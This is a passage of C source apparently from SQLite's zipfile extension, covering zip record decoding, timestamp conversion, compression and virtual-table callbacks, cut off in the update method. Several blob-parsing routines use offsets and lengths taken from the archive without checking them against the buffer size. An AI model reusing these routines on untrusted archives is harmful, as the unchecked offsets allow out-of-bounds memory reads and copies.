){
size_t n;
fseek(pFile, (long)iOff, SEEK_SET);
n = fread(aRead, 1, nRead, pFile);
if( (int)n!=nRead ){
*pzErrmsg = sqlite3_mprintf("error in fread()");
return SQLITE_ERROR;
}
return SQLITE_OK;
}
static int zipfileAppendData(
ZipfileTab *pTab,
const u8 *aWrite,
int nWrite
){
if( nWrite>0 ){
size_t n = nWrite;
fseek(pTab->pWriteFd, (long)pTab->szCurrent, SEEK_SET);
n = fwrite(aWrite, 1, nWrite, pTab->pWriteFd);
if( (int)n!=nWrite ){
pTab->base.zErrMsg = sqlite3_mprintf("error in fwrite()");
return SQLITE_ERROR;
}
pTab->szCurrent += nWrite;
}
return SQLITE_OK;
}
/*
** Read and return a 16-bit little-endian unsigned integer from buffer aBuf.
*/
static u16 zipfileGetU16(const u8 *aBuf){
return (aBuf[1] << 8) + aBuf[0];
}
/*
** Read and return a 32-bit little-endian unsigned integer from buffer aBuf.
*/
static u32 zipfileGetU32(const u8 *aBuf){
return ((u32)(aBuf[3]) << 24)
+ ((u32)(aBuf[2]) << 16)
+ ((u32)(aBuf[1]) << 8)
+ ((u32)(aBuf[0]) << 0);
}
/*
** Write a 16-bit little endiate integer into buffer aBuf.
*/
static void zipfilePutU16(u8 *aBuf, u16 val){
aBuf[0] = val & 0xFF;
aBuf[1] = (val>>8) & 0xFF;
}
/*
** Write a 32-bit little endiate integer into buffer aBuf.
*/
static void zipfilePutU32(u8 *aBuf, u32 val){
aBuf[0] = val & 0xFF;
aBuf[1] = (val>>8) & 0xFF;
aBuf[2] = (val>>16) & 0xFF;
aBuf[3] = (val>>24) & 0xFF;
}
#define zipfileRead32(aBuf) ( aBuf+=4, zipfileGetU32(aBuf-4) )
#define zipfileRead16(aBuf) ( aBuf+=2, zipfileGetU16(aBuf-2) )
#define zipfileWrite32(aBuf,val) { zipfilePutU32(aBuf,val); aBuf+=4; }
#define zipfileWrite16(aBuf,val) { zipfilePutU16(aBuf,val); aBuf+=2; }
/*
** Magic numbers used to read CDS records.
*/
#define ZIPFILE_CDS_NFILE_OFF 28
#define ZIPFILE_CDS_SZCOMPRESSED_OFF 20
/*
** Decode the CDS record in buffer aBuf into (*pCDS). Return SQLITE_ERROR
** if the record is not well-formed, or SQLITE_OK otherwise.
*/
static int zipfileReadCDS(u8 *aBuf, ZipfileCDS *pCDS){
u8 *aRead = aBuf;
u32 sig = zipfileRead32(aRead);
int rc = SQLITE_OK;
if( sig!=ZIPFILE_SIGNATURE_CDS ){
rc = SQLITE_ERROR;
}else{
pCDS->iVersionMadeBy = zipfileRead16(aRead);
pCDS->iVersionExtract = zipfileRead16(aRead);
pCDS->flags = zipfileRead16(aRead);
pCDS->iCompression = zipfileRead16(aRead);
pCDS->mTime = zipfileRead16(aRead);
pCDS->mDate = zipfileRead16(aRead);
pCDS->crc32 = zipfileRead32(aRead);
pCDS->szCompressed = zipfileRead32(aRead);
pCDS->szUncompressed = zipfileRead32(aRead);
assert( aRead==&aBuf[ZIPFILE_CDS_NFILE_OFF] );
pCDS->nFile = zipfileRead16(aRead);
pCDS->nExtra = zipfileRead16(aRead);
pCDS->nComment = zipfileRead16(aRead);
pCDS->iDiskStart = zipfileRead16(aRead);
pCDS->iInternalAttr = zipfileRead16(aRead);
pCDS->iExternalAttr = zipfileRead32(aRead);
pCDS->iOffset = zipfileRead32(aRead);
assert( aRead==&aBuf[ZIPFILE_CDS_FIXED_SZ] );
}
return rc;
}
/*
** Decode the LFH record in buffer aBuf into (*pLFH). Return SQLITE_ERROR
** if the record is not well-formed, or SQLITE_OK otherwise.
*/
static int zipfileReadLFH(
u8 *aBuffer,
ZipfileLFH *pLFH
){
u8 *aRead = aBuffer;
int rc = SQLITE_OK;
u32 sig = zipfileRead32(aRead);
if( sig!=ZIPFILE_SIGNATURE_LFH ){
rc = SQLITE_ERROR;
}else{
pLFH->iVersionExtract = zipfileRead16(aRead);
pLFH->flags = zipfileRead16(aRead);
pLFH->iCompression = zipfileRead16(aRead);
pLFH->mTime = zipfileRead16(aRead);
pLFH->mDate = zipfileRead16(aRead);
pLFH->crc32 = zipfileRead32(aRead);
pLFH->szCompressed = zipfileRead32(aRead);
pLFH->szUncompressed = zipfileRead32(aRead);
pLFH->nFile = zipfileRead16(aRead);
pLFH->nExtra = zipfileRead16(aRead);
}
return rc;
}
/*
** Buffer aExtra (size nExtra bytes) contains zip archive "extra" fields.
** Scan through this buffer to find an "extra-timestamp" field. If one
** exists, extract the 32-bit modification-timestamp from it and store
** the value in output parameter *pmTime.
**
** Zero is returned if no extra-timestamp record could be found (and so
** *pmTime is left unchanged), or non-zero otherwise.
**
** The general format of an extra field is:
**
** Header ID 2 bytes
** Data Size 2 bytes
** Data N bytes
*/
static int zipfileScanExtra(u8 *aExtra, int nExtra, u32 *pmTime){
int ret = 0;
u8 *p = aExtra;
u8 *pEnd = &aExtra[nExtra];
while( p<pEnd ){
u16 id = zipfileRead16(p);
u16 nByte = zipfileRead16(p);
switch( id ){
case ZIPFILE_EXTRA_TIMESTAMP: {
u8 b = p[0];
if( b & 0x01 ){ /* 0x01 -> modtime is present */
*pmTime = zipfileGetU32(&p[1]);
ret = 1;
}
break;
}
}
p += nByte;
}
return ret;
}
/*
** Convert the standard MS-DOS timestamp stored in the mTime and mDate
** fields of the CDS structure passed as the only argument to a 32-bit
** UNIX seconds-since-the-epoch timestamp. Return the result.
**
** "Standard" MS-DOS time format:
**
** File modification time:
** Bits 00-04: seconds divided by 2
** Bits 05-10: minute
** Bits 11-15: hour
** File modification date:
** Bits 00-04: day
** Bits 05-08: month (1-12)
** Bits 09-15: years from 1980
**
** https://msdn.microsoft.com/en-us/library/9kkf9tah.aspx
*/
static u32 zipfileMtime(ZipfileCDS *pCDS){
int Y,M,D,X1,X2,A,B,sec,min,hr;
i64 JDsec;
Y = (1980 + ((pCDS->mDate >> 9) & 0x7F));
M = ((pCDS->mDate >> 5) & 0x0F);
D = (pCDS->mDate & 0x1F);
sec = (pCDS->mTime & 0x1F)*2;
min = (pCDS->mTime >> 5) & 0x3F;
hr = (pCDS->mTime >> 11) & 0x1F;
if( M<=2 ){
Y--;
M += 12;
}
X1 = 36525*(Y+4716)/100;
X2 = 306001*(M+1)/10000;
A = Y/100;
B = 2 - A + (A/4);
JDsec = (i64)((X1 + X2 + D + B - 1524.5)*86400) + hr*3600 + min*60 + sec;
return (u32)(JDsec - (i64)24405875*(i64)8640);
}
/*
** The opposite of zipfileMtime(). This function populates the mTime and
** mDate fields of the CDS structure passed as the first argument according
** to the UNIX timestamp value passed as the second.
*/
static void zipfileMtimeToDos(ZipfileCDS *pCds, u32 mUnixTime){
/* Convert unix timestamp to JD (2440588 is noon on 1/1/1970) */
i64 JD = (i64)2440588 + mUnixTime / (24*60*60);
int A, B, C, D, E;
int yr, mon, day;
int hr, min, sec;
A = (int)((JD - 1867216.25)/36524.25);
A = (int)(JD + 1 + A - (A/4));
B = A + 1524;
C = (int)((B - 122.1)/365.25);
D = (36525*(C&32767))/100;
E = (int)((B-D)/30.6001);
day = B - D - (int)(30.6001*E);
mon = (E<14 ? E-1 : E-13);
yr = mon>2 ? C-4716 : C-4715;
hr = (mUnixTime % (24*60*60)) / (60*60);
min = (mUnixTime % (60*60)) / 60;
sec = (mUnixTime % 60);
if( yr>=1980 ){
pCds->mDate = (u16)(day + (mon << 5) + ((yr-1980) << 9));
pCds->mTime = (u16)(sec/2 + (min<<5) + (hr<<11));
}else{
pCds->mDate = pCds->mTime = 0;
}
assert( mUnixTime<315507600
|| mUnixTime==zipfileMtime(pCds)
|| ((mUnixTime % 2) && mUnixTime-1==zipfileMtime(pCds))
/* || (mUnixTime % 2) */
);
}
/*
** If aBlob is not NULL, then it is a pointer to a buffer (nBlob bytes in
** size) containing an entire zip archive image. Or, if aBlob is NULL,
** then pFile is a file-handle open on a zip file. In either case, this
** function creates a ZipfileEntry object based on the zip archive entry
** for which the CDS record is at offset iOff.
**
** If successful, SQLITE_OK is returned and (*ppEntry) set to point to
** the new object. Otherwise, an SQLite error code is returned and the
** final value of (*ppEntry) undefined.
*/
static int zipfileGetEntry(
ZipfileTab *pTab, /* Store any error message here */
const u8 *aBlob, /* Pointer to in-memory file image */
int nBlob, /* Size of aBlob[] in bytes */
FILE *pFile, /* If aBlob==0, read from this file */
i64 iOff, /* Offset of CDS record */
ZipfileEntry **ppEntry /* OUT: Pointer to new object */
){
u8 *aRead;
char **pzErr = &pTab->base.zErrMsg;
int rc = SQLITE_OK;
if( aBlob==0 ){
aRead = pTab->aBuffer;
rc = zipfileReadData(pFile, aRead, ZIPFILE_CDS_FIXED_SZ, iOff, pzErr);
}else{
aRead = (u8*)&aBlob[iOff];
}
if( rc==SQLITE_OK ){
sqlite3_int64 nAlloc;
ZipfileEntry *pNew;
int nFile = zipfileGetU16(&aRead[ZIPFILE_CDS_NFILE_OFF]);
int nExtra = zipfileGetU16(&aRead[ZIPFILE_CDS_NFILE_OFF+2]);
nExtra += zipfileGetU16(&aRead[ZIPFILE_CDS_NFILE_OFF+4]);
nAlloc = sizeof(ZipfileEntry) + nExtra;
if( aBlob ){
nAlloc += zipfileGetU32(&aRead[ZIPFILE_CDS_SZCOMPRESSED_OFF]);
}
pNew = (ZipfileEntry*)sqlite3_malloc64(nAlloc);
if( pNew==0 ){
rc = SQLITE_NOMEM;
}else{
memset(pNew, 0, sizeof(ZipfileEntry));
rc = zipfileReadCDS(aRead, &pNew->cds);
if( rc!=SQLITE_OK ){
*pzErr = sqlite3_mprintf("failed to read CDS at offset %lld", iOff);
}else if( aBlob==0 ){
rc = zipfileReadData(
pFile, aRead, nExtra+nFile, iOff+ZIPFILE_CDS_FIXED_SZ, pzErr
);
}else{
aRead = (u8*)&aBlob[iOff + ZIPFILE_CDS_FIXED_SZ];
}
}
if( rc==SQLITE_OK ){
u32 *pt = &pNew->mUnixTime;
pNew->cds.zFile = sqlite3_mprintf("%.*s", nFile, aRead);
pNew->aExtra = (u8*)&pNew[1];
memcpy(pNew->aExtra, &aRead[nFile], nExtra);
if( pNew->cds.zFile==0 ){
rc = SQLITE_NOMEM;
}else if( 0==zipfileScanExtra(&aRead[nFile], pNew->cds.nExtra, pt) ){
pNew->mUnixTime = zipfileMtime(&pNew->cds);
}
}
if( rc==SQLITE_OK ){
static const int szFix = ZIPFILE_LFH_FIXED_SZ;
ZipfileLFH lfh;
if( pFile ){
rc = zipfileReadData(pFile, aRead, szFix, pNew->cds.iOffset, pzErr);
}else{
aRead = (u8*)&aBlob[pNew->cds.iOffset];
}
rc = zipfileReadLFH(aRead, &lfh);
if( rc==SQLITE_OK ){
pNew->iDataOff = pNew->cds.iOffset + ZIPFILE_LFH_FIXED_SZ;
pNew->iDataOff += lfh.nFile + lfh.nExtra;
if( aBlob && pNew->cds.szCompressed ){
pNew->aData = &pNew->aExtra[nExtra];
memcpy(pNew->aData, &aBlob[pNew->iDataOff], pNew->cds.szCompressed);
}
}else{
*pzErr = sqlite3_mprintf("failed to read LFH at offset %d",
(int)pNew->cds.iOffset
);
}
}
if( rc!=SQLITE_OK ){
zipfileEntryFree(pNew);
}else{
*ppEntry = pNew;
}
}
return rc;
}
/*
** Advance an ZipfileCsr to its next row of output.
*/
static int zipfileNext(sqlite3_vtab_cursor *cur){
ZipfileCsr *pCsr = (ZipfileCsr*)cur;
int rc = SQLITE_OK;
if( pCsr->pFile ){
i64 iEof = pCsr->eocd.iOffset + pCsr->eocd.nSize;
zipfileEntryFree(pCsr->pCurrent);
pCsr->pCurrent = 0;
if( pCsr->iNextOff>=iEof ){
pCsr->bEof = 1;
}else{
ZipfileEntry *p = 0;
ZipfileTab *pTab = (ZipfileTab*)(cur->pVtab);
rc = zipfileGetEntry(pTab, 0, 0, pCsr->pFile, pCsr->iNextOff, &p);
if( rc==SQLITE_OK ){
pCsr->iNextOff += ZIPFILE_CDS_FIXED_SZ;
pCsr->iNextOff += (int)p->cds.nExtra + p->cds.nFile + p->cds.nComment;
}
pCsr->pCurrent = p;
}
}else{
if( !pCsr->bNoop ){
pCsr->pCurrent = pCsr->pCurrent->pNext;
}
if( pCsr->pCurrent==0 ){
pCsr->bEof = 1;
}
}
pCsr->bNoop = 0;
return rc;
}
static void zipfileFree(void *p) {
sqlite3_free(p);
}
/*
** Buffer aIn (size nIn bytes) contains compressed data. Uncompressed, the
** size is nOut bytes. This function uncompresses the data and sets the
** return value in context pCtx to the result (a blob).
**
** If an error occurs, an error code is left in pCtx instead.
*/
static void zipfileInflate(
sqlite3_context *pCtx, /* Store result here */
const u8 *aIn, /* Compressed data */
int nIn, /* Size of buffer aIn[] in bytes */
int nOut /* Expected output size */
){
u8 *aRes = sqlite3_malloc(nOut);
if( aRes==0 ){
sqlite3_result_error_nomem(pCtx);
}else{
int err;
z_stream str;
memset(&str, 0, sizeof(str));
str.next_in = (Byte*)aIn;
str.avail_in = nIn;
str.next_out = (Byte*)aRes;
str.avail_out = nOut;
err = inflateInit2(&str, -15);
if( err!=Z_OK ){
zipfileCtxErrorMsg(pCtx, "inflateInit2() failed (%d)", err);
}else{
err = inflate(&str, Z_NO_FLUSH);
if( err!=Z_STREAM_END ){
zipfileCtxErrorMsg(pCtx, "inflate() failed (%d)", err);
}else{
sqlite3_result_blob(pCtx, aRes, nOut, zipfileFree);
aRes = 0;
}
}
sqlite3_free(aRes);
inflateEnd(&str);
}
}
/*
** Buffer aIn (size nIn bytes) contains uncompressed data. This function
** compresses it and sets (*ppOut) to point to a buffer containing the
** compressed data. The caller is responsible for eventually calling
** sqlite3_free() to release buffer (*ppOut). Before returning, (*pnOut)
** is set to the size of buffer (*ppOut) in bytes.
**
** If no error occurs, SQLITE_OK is returned. Otherwise, an SQLite error
** code is returned and an error message left in virtual-table handle
** pTab. The values of (*ppOut) and (*pnOut) are left unchanged in this
** case.
*/
static int zipfileDeflate(
const u8 *aIn, int nIn, /* Input */
u8 **ppOut, int *pnOut, /* Output */
char **pzErr /* OUT: Error message */
){
int rc = SQLITE_OK;
sqlite3_int64 nAlloc;
z_stream str;
u8 *aOut;
memset(&str, 0, sizeof(str));
str.next_in = (Bytef*)aIn;
str.avail_in = nIn;
deflateInit2(&str, 9, Z_DEFLATED, -15, 8, Z_DEFAULT_STRATEGY);
nAlloc = deflateBound(&str, nIn);
aOut = (u8*)sqlite3_malloc64(nAlloc);
if( aOut==0 ){
rc = SQLITE_NOMEM;
}else{
int res;
str.next_out = aOut;
str.avail_out = nAlloc;
res = deflate(&str, Z_FINISH);
if( res==Z_STREAM_END ){
*ppOut = aOut;
*pnOut = (int)str.total_out;
}else{
sqlite3_free(aOut);
*pzErr = sqlite3_mprintf("zipfile: deflate() error");
rc = SQLITE_ERROR;
}
deflateEnd(&str);
}
return rc;
}
/*
** Return values of columns for the row at which the series_cursor
** is currently pointing.
*/
static int zipfileColumn(
sqlite3_vtab_cursor *cur, /* The cursor */
sqlite3_context *ctx, /* First argument to sqlite3_result_...() */
int i /* Which column to return */
){
ZipfileCsr *pCsr = (ZipfileCsr*)cur;
ZipfileCDS *pCDS = &pCsr->pCurrent->cds;
int rc = SQLITE_OK;
switch( i ){
case 0: /* name */
sqlite3_result_text(ctx, pCDS->zFile, -1, SQLITE_TRANSIENT);
break;
case 1: /* mode */
/* TODO: Whether or not the following is correct surely depends on
** the platform on which the archive was created. */
sqlite3_result_int(ctx, pCDS->iExternalAttr >> 16);
break;
case 2: { /* mtime */
sqlite3_result_int64(ctx, pCsr->pCurrent->mUnixTime);
break;
}
case 3: { /* sz */
if( sqlite3_vtab_nochange(ctx)==0 ){
sqlite3_result_int64(ctx, pCDS->szUncompressed);
}
break;
}
case 4: /* rawdata */
if( sqlite3_vtab_nochange(ctx) ) break;
case 5: { /* data */
if( i==4 || pCDS->iCompression==0 || pCDS->iCompression==8 ){
int sz = pCDS->szCompressed;
int szFinal = pCDS->szUncompressed;
if( szFinal>0 ){
u8 *aBuf;
u8 *aFree = 0;
if( pCsr->pCurrent->aData ){
aBuf = pCsr->pCurrent->aData;
}else{
aBuf = aFree = sqlite3_malloc64(sz);
if( aBuf==0 ){
rc = SQLITE_NOMEM;
}else{
FILE *pFile = pCsr->pFile;
if( pFile==0 ){
pFile = ((ZipfileTab*)(pCsr->base.pVtab))->pWriteFd;
}
rc = zipfileReadData(pFile, aBuf, sz, pCsr->pCurrent->iDataOff,
&pCsr->base.pVtab->zErrMsg
);
}
}
if( rc==SQLITE_OK ){
if( i==5 && pCDS->iCompression ){
zipfileInflate(ctx, aBuf, sz, szFinal);
}else{
sqlite3_result_blob(ctx, aBuf, sz, SQLITE_TRANSIENT);
}
}
sqlite3_free(aFree);
}else{
/* Figure out if this is a directory or a zero-sized file. Consider
** it to be a directory either if the mode suggests so, or if
** the final character in the name is '/'. */
u32 mode = pCDS->iExternalAttr >> 16;
if( !(mode & S_IFDIR) && pCDS->zFile[pCDS->nFile-1]!='/' ){
sqlite3_result_blob(ctx, "", 0, SQLITE_STATIC);
}
}
}
break;
}
case 6: /* method */
sqlite3_result_int(ctx, pCDS->iCompression);
break;
default: /* z */
assert( i==7 );
sqlite3_result_int64(ctx, pCsr->iId);
break;
}
return rc;
}
/*
** Return TRUE if the cursor is at EOF.
*/
static int zipfileEof(sqlite3_vtab_cursor *cur){
ZipfileCsr *pCsr = (ZipfileCsr*)cur;
return pCsr->bEof;
}
/*
** If aBlob is not NULL, then it points to a buffer nBlob bytes in size
** containing an entire zip archive image. Or, if aBlob is NULL, then pFile
** is guaranteed to be a file-handle open on a zip file.
**
** This function attempts to locate the EOCD record within the zip archive
** and populate *pEOCD with the results of decoding it. SQLITE_OK is
** returned if successful. Otherwise, an SQLite error code is returned and
** an English language error message may be left in virtual-table pTab.
*/
static int zipfileReadEOCD(
ZipfileTab *pTab, /* Return errors here */
const u8 *aBlob, /* Pointer to in-memory file image */
int nBlob, /* Size of aBlob[] in bytes */
FILE *pFile, /* Read from this file if aBlob==0 */
ZipfileEOCD *pEOCD /* Object to populate */
){
u8 *aRead = pTab->aBuffer; /* Temporary buffer */
int nRead; /* Bytes to read from file */
int rc = SQLITE_OK;
if( aBlob==0 ){
i64 iOff; /* Offset to read from */
i64 szFile; /* Total size of file in bytes */
fseek(pFile, 0, SEEK_END);
szFile = (i64)ftell(pFile);
if( szFile==0 ){
memset(pEOCD, 0, sizeof(ZipfileEOCD));
return SQLITE_OK;
}
nRead = (int)(MIN(szFile, ZIPFILE_BUFFER_SIZE));
iOff = szFile - nRead;
rc = zipfileReadData(pFile, aRead, nRead, iOff, &pTab->base.zErrMsg);
}else{
nRead = (int)(MIN(nBlob, ZIPFILE_BUFFER_SIZE));
aRead = (u8*)&aBlob[nBlob-nRead];
}
if( rc==SQLITE_OK ){
int i;
/* Scan backwards looking for the signature bytes */
for(i=nRead-20; i>=0; i--){
if( aRead[i]==0x50 && aRead[i+1]==0x4b
&& aRead[i+2]==0x05 && aRead[i+3]==0x06
){
break;
}
}
if( i<0 ){
pTab->base.zErrMsg = sqlite3_mprintf(
"cannot find end of central directory record"
);
return SQLITE_ERROR;
}
aRead += i+4;
pEOCD->iDisk = zipfileRead16(aRead);
pEOCD->iFirstDisk = zipfileRead16(aRead);
pEOCD->nEntry = zipfileRead16(aRead);
pEOCD->nEntryTotal = zipfileRead16(aRead);
pEOCD->nSize = zipfileRead32(aRead);
pEOCD->iOffset = zipfileRead32(aRead);
}
return rc;
}
/*
** Add object pNew to the linked list that begins at ZipfileTab.pFirstEntry
** and ends with pLastEntry. If argument pBefore is NULL, then pNew is added
** to the end of the list. Otherwise, it is added to the list immediately
** before pBefore (which is guaranteed to be a part of said list).
*/
static void zipfileAddEntry(
ZipfileTab *pTab,
ZipfileEntry *pBefore,
ZipfileEntry *pNew
){
assert( (pTab->pFirstEntry==0)==(pTab->pLastEntry==0) );
assert( pNew->pNext==0 );
if( pBefore==0 ){
if( pTab->pFirstEntry==0 ){
pTab->pFirstEntry = pTab->pLastEntry = pNew;
}else{
assert( pTab->pLastEntry->pNext==0 );
pTab->pLastEntry->pNext = pNew;
pTab->pLastEntry = pNew;
}
}else{
ZipfileEntry **pp;
for(pp=&pTab->pFirstEntry; *pp!=pBefore; pp=&((*pp)->pNext));
pNew->pNext = pBefore;
*pp = pNew;
}
}
static int zipfileLoadDirectory(ZipfileTab *pTab, const u8 *aBlob, int nBlob){
ZipfileEOCD eocd;
int rc;
int i;
i64 iOff;
rc = zipfileReadEOCD(pTab, aBlob, nBlob, pTab->pWriteFd, &eocd);
iOff = eocd.iOffset;
for(i=0; rc==SQLITE_OK && i<eocd.nEntry; i++){
ZipfileEntry *pNew = 0;
rc = zipfileGetEntry(pTab, aBlob, nBlob, pTab->pWriteFd, iOff, &pNew);
if( rc==SQLITE_OK ){
zipfileAddEntry(pTab, 0, pNew);
iOff += ZIPFILE_CDS_FIXED_SZ;
iOff += (int)pNew->cds.nExtra + pNew->cds.nFile + pNew->cds.nComment;
}
}
return rc;
}
/*
** xFilter callback.
*/
static int zipfileFilter(
sqlite3_vtab_cursor *cur,
int idxNum, const char *idxStr,
int argc, sqlite3_value **argv
){
ZipfileTab *pTab = (ZipfileTab*)cur->pVtab;
ZipfileCsr *pCsr = (ZipfileCsr*)cur;
const char *zFile = 0; /* Zip file to scan */
int rc = SQLITE_OK; /* Return Code */
int bInMemory = 0; /* True for an in-memory zipfile */
zipfileResetCursor(pCsr);
if( pTab->zFile ){
zFile = pTab->zFile;
}else if( idxNum==0 ){
zipfileCursorErr(pCsr, "zipfile() function requires an argument");
return SQLITE_ERROR;
}else if( sqlite3_value_type(argv[0])==SQLITE_BLOB ){
const u8 *aBlob = (const u8*)sqlite3_value_blob(argv[0]);
int nBlob = sqlite3_value_bytes(argv[0]);
assert( pTab->pFirstEntry==0 );
rc = zipfileLoadDirectory(pTab, aBlob, nBlob);
pCsr->pFreeEntry = pTab->pFirstEntry;
pTab->pFirstEntry = pTab->pLastEntry = 0;
if( rc!=SQLITE_OK ) return rc;
bInMemory = 1;
}else{
zFile = (const char*)sqlite3_value_text(argv[0]);
}
if( 0==pTab->pWriteFd && 0==bInMemory ){
pCsr->pFile = fopen(zFile, "rb");
if( pCsr->pFile==0 ){
zipfileCursorErr(pCsr, "cannot open file: %s", zFile);
rc = SQLITE_ERROR;
}else{
rc = zipfileReadEOCD(pTab, 0, 0, pCsr->pFile, &pCsr->eocd);
if( rc==SQLITE_OK ){
if( pCsr->eocd.nEntry==0 ){
pCsr->bEof = 1;
}else{
pCsr->iNextOff = pCsr->eocd.iOffset;
rc = zipfileNext(cur);
}
}
}
}else{
pCsr->bNoop = 1;
pCsr->pCurrent = pCsr->pFreeEntry ? pCsr->pFreeEntry : pTab->pFirstEntry;
rc = zipfileNext(cur);
}
return rc;
}
/*
** xBestIndex callback.
*/
static int zipfileBestIndex(
sqlite3_vtab *tab,
sqlite3_index_info *pIdxInfo
){
int i;
int idx = -1;
int unusable = 0;
for(i=0; i<pIdxInfo->nConstraint; i++){
const struct sqlite3_index_constraint *pCons = &pIdxInfo->aConstraint[i];
if( pCons->iColumn!=ZIPFILE_F_COLUMN_IDX ) continue;
if( pCons->usable==0 ){
unusable = 1;
}else if( pCons->op==SQLITE_INDEX_CONSTRAINT_EQ ){
idx = i;
}
}
pIdxInfo->estimatedCost = 1000.0;
if( idx>=0 ){
pIdxInfo->aConstraintUsage[idx].argvIndex = 1;
pIdxInfo->aConstraintUsage[idx].omit = 1;
pIdxInfo->idxNum = 1;
}else if( unusable ){
return SQLITE_CONSTRAINT;
}
return SQLITE_OK;
}
static ZipfileEntry *zipfileNewEntry(const char *zPath){
ZipfileEntry *pNew;
pNew = sqlite3_malloc(sizeof(ZipfileEntry));
if( pNew ){
memset(pNew, 0, sizeof(ZipfileEntry));
pNew->cds.zFile = sqlite3_mprintf("%s", zPath);
if( pNew->cds.zFile==0 ){
sqlite3_free(pNew);
pNew = 0;
}
}
return pNew;
}
static int zipfileSerializeLFH(ZipfileEntry *pEntry, u8 *aBuf){
ZipfileCDS *pCds = &pEntry->cds;
u8 *a = aBuf;
pCds->nExtra = 9;
/* Write the LFH itself */
zipfileWrite32(a, ZIPFILE_SIGNATURE_LFH);
zipfileWrite16(a, pCds->iVersionExtract);
zipfileWrite16(a, pCds->flags);
zipfileWrite16(a, pCds->iCompression);
zipfileWrite16(a, pCds->mTime);
zipfileWrite16(a, pCds->mDate);
zipfileWrite32(a, pCds->crc32);
zipfileWrite32(a, pCds->szCompressed);
zipfileWrite32(a, pCds->szUncompressed);
zipfileWrite16(a, (u16)pCds->nFile);
zipfileWrite16(a, pCds->nExtra);
assert( a==&aBuf[ZIPFILE_LFH_FIXED_SZ] );
/* Add the file name */
memcpy(a, pCds->zFile, (int)pCds->nFile);
a += (int)pCds->nFile;
/* The "extra" data */
zipfileWrite16(a, ZIPFILE_EXTRA_TIMESTAMP);
zipfileWrite16(a, 5);
*a++ = 0x01;
zipfileWrite32(a, pEntry->mUnixTime);
return a-aBuf;
}
static int zipfileAppendEntry(
ZipfileTab *pTab,
ZipfileEntry *pEntry,
const u8 *pData,
int nData
){
u8 *aBuf = pTab->aBuffer;
int nBuf;
int rc;
nBuf = zipfileSerializeLFH(pEntry, aBuf);
rc = zipfileAppendData(pTab, aBuf, nBuf);
if( rc==SQLITE_OK ){
pEntry->iDataOff = pTab->szCurrent;
rc = zipfileAppendData(pTab, pData, nData);
}
return rc;
}
static int zipfileGetMode(
sqlite3_value *pVal,
int bIsDir, /* If true, default to directory */
u32 *pMode, /* OUT: Mode value */
char **pzErr /* OUT: Error message */
){
const char *z = (const char*)sqlite3_value_text(pVal);
u32 mode = 0;
if( z==0 ){
mode = (bIsDir ? (S_IFDIR + 0755) : (S_IFREG + 0644));
}else if( z[0]>='0' && z[0]<='9' ){
mode = (unsigned int)sqlite3_value_int(pVal);
}else{
const char zTemplate[11] = "-rwxrwxrwx";
int i;
if( strlen(z)!=10 ) goto parse_error;
switch( z[0] ){
case '-': mode |= S_IFREG; break;
case 'd': mode |= S_IFDIR; break;
case 'l': mode |= S_IFLNK; break;
default: goto parse_error;
}
for(i=1; i<10; i++){
if( z[i]==zTemplate[i] ) mode |= 1 << (9-i);
else if( z[i]!='-' ) goto parse_error;
}
}
if( ((mode & S_IFDIR)==0)==bIsDir ){
/* The "mode" attribute is a directory, but data has been specified.
** Or vice-versa - no data but "mode" is a file or symlink. */
*pzErr = sqlite3_mprintf("zipfile: mode does not match data");
return SQLITE_CONSTRAINT;
}
*pMode = mode;
return SQLITE_OK;
parse_error:
*pzErr = sqlite3_mprintf("zipfile: parse error in mode: %s", z);
return SQLITE_ERROR;
}
/*
** Both (const char*) arguments point to nul-terminated strings. Argument
** nB is the value of strlen(zB). This function returns 0 if the strings are
** identical, ignoring any trailing '/' character in either path. */
static int zipfileComparePath(const char *zA, const char *zB, int nB){
int nA = (int)strlen(zA);
if( nA>0 && zA[nA-1]=='/' ) nA--;
if( nB>0 && zB[nB-1]=='/' ) nB--;
if( nA==nB && memcmp(zA, zB, nA)==0 ) return 0;
return 1;
}
static int zipfileBegin(sqlite3_vtab *pVtab){
ZipfileTab *pTab = (ZipfileTab*)pVtab;
int rc = SQLITE_OK;
assert( pTab->pWriteFd==0 );
if( pTab->zFile==0 || pTab->zFile[0]==0 ){
pTab->base.zErrMsg = sqlite3_mprintf("zipfile: missing filename");
return SQLITE_ERROR;
}
/* Open a write fd on the file. Also load the entire central directory
** structure into memory. During the transaction any new file data is
** appended to the archive file, but the central directory is accumulated
** in main-memory until the transaction is committed. */
pTab->pWriteFd = fopen(pTab->zFile, "ab+");
if( pTab->pWriteFd==0 ){
pTab->base.zErrMsg = sqlite3_mprintf(
"zipfile: failed to open file %s for writing", pTab->zFile
);
rc = SQLITE_ERROR;
}else{
fseek(pTab->pWriteFd, 0, SEEK_END);
pTab->szCurrent = pTab->szOrig = (i64)ftell(pTab->pWriteFd);
rc = zipfileLoadDirectory(pTab, 0, 0);
}
if( rc!=SQLITE_OK ){
zipfileCleanupTransaction(pTab);
}
return rc;
}
/*
** Return the current time as a 32-bit timestamp in UNIX epoch format (like
** time(2)).
*/
static u32 zipfileTime(void){
sqlite3_vfs *pVfs = sqlite3_vfs_find(0);
u32 ret;
if( pVfs==0 ) return 0;
if( pVfs->iVersion>=2 && pVfs->xCurrentTimeInt64 ){
i64 ms;
pVfs->xCurrentTimeInt64(pVfs, &ms);
ret = (u32)((ms/1000) - ((i64)24405875 * 8640));
}else{
double day;
pVfs->xCurrentTime(pVfs, &day);
ret = (u32)((day - 2440587.5) * 86400);
}
return ret;
}
/*
** Return a 32-bit timestamp in UNIX epoch format.
**
** If the value passed as the only argument is either NULL or an SQL NULL,
** return the current time. Otherwise, return the value stored in (*pVal)
** cast to a 32-bit unsigned integer.
*/
static u32 zipfileGetTime(sqlite3_value *pVal){
if( pVal==0 || sqlite3_value_type(pVal)==SQLITE_NULL ){
return zipfileTime();
}
return (u32)sqlite3_value_int64(pVal);
}
/*
** Unless it is NULL, entry pOld is currently part of the pTab->pFirstEntry
** linked list. Remove it from the list and free the object.
*/
static void zipfileRemoveEntryFromList(ZipfileTab *pTab, ZipfileEntry *pOld){
if( pOld ){
ZipfileEntry **pp;
for(pp=&pTab->pFirstEntry; (*pp)!=pOld; pp=&((*pp)->pNext));
*pp = (*pp)->pNext;
zipfileEntryFree(pOld);
}
}
/*
** xUpdate method.
*/
static int zipfileUpdate(
sqlite3_vtab *pVtab,
int nVal,
sqlite3_value **apVal,
sqlite_int64 *pRowid
){
ZipfileTab *pTab = (ZipfileTab*)pVtab;
int rc = SQLITE_OK; /* Return Code */
ZipfileEntry *pNew = 0; /* New in-memory CDS entry */
u32 mode = 0; /* Mode for new entry */
u32 mTime = 0; /* Modification time for new entry */
